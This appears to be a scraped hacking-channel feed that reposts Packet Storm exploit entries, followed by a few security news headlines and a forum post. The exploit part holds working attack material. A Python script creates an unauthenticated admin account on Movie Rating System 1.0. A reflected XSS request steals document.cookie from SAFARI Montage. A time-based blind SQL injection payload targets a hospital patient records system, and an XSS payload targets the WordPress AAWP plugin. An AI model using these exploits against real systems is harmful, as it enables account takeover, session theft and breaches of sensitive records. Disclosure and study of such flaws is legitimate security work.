Exploit Collector
Library System In PHP 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Library System in PHP version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 8ef71abb9929b9725860901152153f3e

Download
# Exploit Title: Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 03-OCT-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage: https://www.yahoobaba.net/project/library-system-in-php
# Software Link: https://www.yahoobaba.net/project/library-system-in-php
# Version: V 1.0
# Tested on: WAMPP
# Description #

Library System in PHP V1.0 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitisation.

# Proof of Concept (PoC) :
#Exploit:
1) Goto: http://localhost/library-system/dashboard.php
2) Login as admin using test credentials: admin/admin
3) Goto: http://localhost/library-system/update-publisher.php?pid=12
4) Enter the following payload in the publisher field:
5) Click on Save
6) Our payload is fired and stored


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Movie Rating System 1.0 Broken Access Control

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Movie Rating System version 1.0 suffers from a broken access control that allows for administrative account creation.

MD5 | 3f0f506be9166f5bf22132c3720e3e6e

Download
# Exploit Title: Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated)
# Date: 22/12/2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows

import requests
import json

url = input('Url:')
if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"

Username = "tago"
Password = "tagoletta"

reqUrl = url + "classes/Users.php?f=save"

reqHeaders = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryTagmac",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Origin": url}

reqData = "------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nTago\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nLetta\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+Username+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n"+Password+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n1\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryTagmac--\r\n"

resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

if resp.status_code == 200:
print("Admin account created")
reqUrl = url + "classes/Login.php?f=login"

reqHeaders = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Origin": url
}

reqData = {"username": ""+Username+"", "password": ""+Password+""}

resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

data = json.loads(resp.text)
status = data["status"]

if status == "success":
print("Login Successfully\nUsername:"+ Username+"\nPassword:"+Password)
else:
print("Exploited but not loginned")
else:
print("Not injectable")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Safari Montage 8.5 Cross Site Scripting

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Safari Montage version 8.5 suffers from a cross site scripting vulnerability.

MD5 | 4f650c4f8f144a943aa4f0d6ed44f6d7

Download
# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
# Date: 28/12/2021
# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)
# Vendor Homepage: https://www.safarimontage.com/
# Version: 8.3 and 8.5
# Tested on: Ubuntu Linux [Firefox]
# CVE: CVE-2021-45425

# Proof of Concept:

GET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1
Host: vulnIP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=SSSION; lang=en
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
RiteCMS 3.1.0 Arbitrary File Overwrite

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
cWifi Hotspot Wireless CP Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hospitals Patient Records Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
Hospitals Patient Records Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b318587cf84726625fbb34fb7c3dc04c

Download
# Exploit Title: Hospitalss Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 30/12/2021
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4

*SQL Injection*
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Hospital's Patient Records Management System v1.0 is vulnerable to SQL injection via the 'id' parameter on the patient list.

*Attack Vector*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps to reproduce:*
Step-1: On the dashboard navigate to 'Patient List', then go to 'Action' > 'View Records' page using the following URL:
http://localhost/hprms/admin/?page=patients/view_patient&id=1

Step-2: Put the SQL Injection payloads in 'id' field.
time-based blind payload : page=patients/view_patient&id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))ixec) AND 'XcAY'='XcAY

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress AAWP 3.16 Cross Site Scripting

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
WordPress AAWP plugin version 3.16 suffers from a cross site scripting vulnerability.

MD5 | 1dd2000d7305a551456328c47722894f

Download
# Exploit Title: WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting (XSS) (Authenticated)
# Date: 04/01/2022
# Exploit Author: Andrea Bocchetti
# Vendor Homepage: https://getaawp.com/
# Software Link: https://getaawp.com/
# Version: 3.16
# Tested on: Windows 10 - Chrome, WordPress 5.8.2

# Proof of Concept:
# 1- Install and activate AAWP 3.16 plugin.
# 2- Go to https://localhost.com/wp-admin/admin.php?page=aawp-settings&tab=XXXX
# 3- Add payload to the Tab, the XSS Payload: %22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y
# 4- XSS has been triggered.

# Go to this url "http://localhost/wp-admin/admin.php?page=aawp-settings&tab=%22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y"
XSS will trigger.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Good videos on Linux directories

Anyone have any recommendations for videos in regards to the Linux file directory system

Mostly pertaining to Kali-Linux

Thanks

submitted by /u/madame-succubus
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The World Is Increasingly Controlled and Transformed by Algorithms

Our digital interactions are being analyzed, predicted, and protected by algorithms and serve as a strategic, digital arsenal in defending against cyberattacks.

Dark Reading: Attacks/Breaches
Putting Ransomware Gangs Out of Business With AI

Organizations need to take matters into their own hands with a new approach.

Dark Reading: Attacks/Breaches
Why We Need To Reframe the False-Positive Problem

Efforts to tune or build behavior- or signature-based threat identification requires time and effort most organizations don't have.

Using Recon-Ng for Recon for Bug Bounty
https://medium.com/@jowin.sathianesan/using-recon-ng-for-recon-for-bug-bounty-78f9d32e795?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Recon-Ng is a great tool for automating your recon workflow and is one of the must have tool for Bug bountiesContinue reading on Medium » (https://medium.com/@jowin.sathianesan/using-recon-ng-for-recon-for-bug-bounty-78f9d32e795?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video